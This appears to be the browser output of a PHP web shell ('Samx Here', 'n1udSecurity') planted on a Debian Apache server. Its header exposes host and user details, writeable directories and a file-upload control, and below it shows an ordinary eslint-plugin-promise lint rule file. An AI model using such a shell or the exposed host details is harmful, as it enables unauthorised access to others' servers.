Samx Here
n1udSecurity


Server : Apache
System : Linux ks5.tuic.fr 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64
User : pragmatice ( 1003)
PHP Version : 8.2.24
Disable Function : NONE
Directory :  /home/etherpad/node_modules/eslint-plugin-promise/rules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/etherpad/node_modules/eslint-plugin-promise/rules/param-names.js
'use strict'

const getDocsUrl = require('./lib/get-docs-url')
const {
  isPromiseConstructorWithInlineExecutor,
} = require('./lib/is-promise-constructor')

module.exports = {
  meta: {
    type: 'suggestion',
    docs: {
      url: getDocsUrl('param-names'),
    },
    schema: [
      {
        type: 'object',
        properties: {
          resolvePattern: { type: 'string' },
          rejectPattern: { type: 'string' },
        },
        additionalProperties: false,
      },
    ],
  },
  create(context) {
    const options = context.options[0] || {}
    const resolvePattern = new RegExp(
      options.resolvePattern || '^_?resolve$',
      'u'
    )
    const rejectPattern = new RegExp(options.rejectPattern || '^_?reject$', 'u')

    return {
      NewExpression(node) {
        if (isPromiseConstructorWithInlineExecutor(node)) {
          const params = node.arguments[0].params

          if (!params || !params.length) {
            return
          }

          const resolveParamName = params[0] && params[0].name
          if (resolveParamName && !resolvePattern.test(resolveParamName)) {
            context.report({
              node: params[0],
              message:
                'Promise constructor parameters must be named to match "{{ resolvePattern }}"',
              data: {
                resolvePattern: resolvePattern.source,
              },
            })
          }
          const rejectParamName = params[1] && params[1].name
          if (rejectParamName && !rejectPattern.test(rejectParamName)) {
            context.report({
              node: params[1],
              message:
                'Promise constructor parameters must be named to match "{{ rejectPattern }}"',
              data: {
                rejectPattern: rejectPattern.source,
              },
            })
          }
        }
      },
    }
  },
}

SAMX